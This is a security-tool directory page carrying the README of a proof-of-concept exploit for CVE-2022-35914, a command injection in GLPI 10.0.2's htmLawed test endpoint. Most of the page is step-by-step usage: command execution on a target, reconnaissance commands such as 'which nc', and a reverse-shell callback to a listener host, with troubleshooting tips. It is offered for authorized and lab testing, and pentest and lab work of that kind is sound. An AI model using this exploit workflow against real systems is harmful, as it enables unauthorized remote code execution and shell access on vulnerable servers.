Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-35914-RCE — PoC exploit for CVE-2022-35914 — GLPI v.10.0.2 htmLawed command injection, command execution, and reverse shell support. | Kitploit
Outils/GitHubGitHub/cyb3rk0ala/cve-2022-35914-rce
ExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubcyb3rk0ala/cve-2022-35914-rce

CVE-2022-35914-RCE

PoC exploit for CVE-2022-35914 — GLPI v.10.0.2 htmLawed command injection, command execution, and reverse shell support.

Voir le dépôt
4il y a 29 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Contenu non disponible dans la langue demandée. Affichage de la version anglaise.

CVE-2022-35914 by cyb3rk0ala

PoC for CVE-2022-35914, a command-injection vulnerability involving the htmLawed test component in vulnerable GLPI installations.

The tool provides command execution through the vulnerable endpoint and includes optional callback functionality for authorized lab environments.

Disclaimer: This project is intended for authorized security testing, CTFs, OffSec/PG labs, and educational purposes only. Do not use it against systems without explicit authorization.


Vulnerability

FieldDetails
CVECVE-2022-35914
SoftwareGLPI v.10.0.2
ComponenthtmLawed
Vulnerable endpoint/vendor/htmlawed/htmlawed/htmLawedTest.php

The vulnerable component can allow command execution through crafted parameters on affected installations.


Features

  • Command execution
  • Automatic target URL construction
  • Configurable target HTTP port
  • Automatic session/token retrieval
  • Command-output extraction
  • Target checking
  • Custom User-Agent support
  • Optional callback configuration
  • Colored terminal output
  • Python 3 CLI interface

Requirements

Python 3 and the required dependencies.

Kali Linux

root@kitploit:~
sudo apt install python3-requests python3-bs4

Virtual Environment

root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Installation

Clone the repository:

root@kitploit:~
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914

Make the script executable:

root@kitploit:~
chmod +x glpi.py

Usage

Help

root@kitploit:~
python3 glpi.py -h

Basic Command Execution

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'id'

Example output:

root@kitploit:~
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php

========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================

Command Execution

The -c option specifies the command to execute.

Current User

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'whoami'

Current Privileges

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'id'

Operating System

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'uname -a'

Available Utilities

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

Options

OptionDescriptionDefault
-u, --urlTarget URL or IP addressRequired
-c, --cmdCommand to executeid
--checkCheck the target without executing a commandDisabled
--user-agentCustom HTTP User-AgentDefault
-p, --rportTarget HTTP service port80
-l, --lhostCallback/listener IP address—
-lp, --lportCallback/listener port—

Target Port

The -p / --rport option specifies the port where the vulnerable GLPI web service is running.

Default:

root@kitploit:~
80

Example:

root@kitploit:~
python3 glpi.py -u TARGET_IP -p 80 -c 'id'

Target Check

Use --check to verify that the htmLawed test page is available without executing a command:

root@kitploit:~
python3 glpi.py -u TARGET_IP --check

Custom User-Agent

A custom HTTP User-Agent can be supplied with:

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    --user-agent 'Mozilla/5.0'

Reverse Shell

The script supports optional callback parameters:

root@kitploit:~
-l   Callback/listener IP
-lp  Callback/listener port

Example:

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

In this example:

root@kitploit:~
Target:   TARGET_IP:80
Callback: LHOST:80

The two ports have different purposes:

root@kitploit:~
-p   = Target GLPI HTTP port
-lp  = Callback/listener port

OffSec Lab Note

During testing in an OffSec lab environment, the callback successfully worked over TCP port 80.

Other callback ports, such as 4444, may time out depending on the lab network and egress filtering.

For the tested environment:

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

The listener was configured on the Kali VPN interface using TCP port 80.

Important: Using port 80 for the callback is an environment-specific observation. It is not a requirement of CVE-2022-35914.


Troubleshooting

Command Execution Works but Callback Does Not

First verify command execution:

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'id'

Check whether the required utilities exist:

root@kitploit:~
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'

If command execution works but the callback times out, check the VPN routing and callback port.


Command Output Looks Incorrect

If command-output parsing fails, the complete HTTP response is saved to:

root@kitploit:~
/tmp/glpi.html

Inspect it with:

root@kitploit:~
less /tmp/glpi.html

or:

root@kitploit:~
mousepad /tmp/glpi.html

Example Workflow

1. Check the Target

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    --check

2. Confirm Command Execution

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -c 'id'

3. Identify the Current User

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -c 'whoami'

4. Check Available Tools

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -c 'which nc'

5. Configure the Callback

For the tested OffSec lab environment:

root@kitploit:~
python3 glpi.py \
    -u TARGET_IP \
    -p 80 \
    -l LHOST \
    -lp 80

Disclaimer

This project is provided for educational and authorized security-testing purposes only.

The author is not responsible for any misuse, damage, unauthorized access, or illegal activity involving this software.

Always obtain explicit authorization before testing a system.


Author

cyb3rk0ala


CVE

CVE-2022-35914


Project

CVE-2022-35914 by cyb3rk0ala

Télécharger l’outil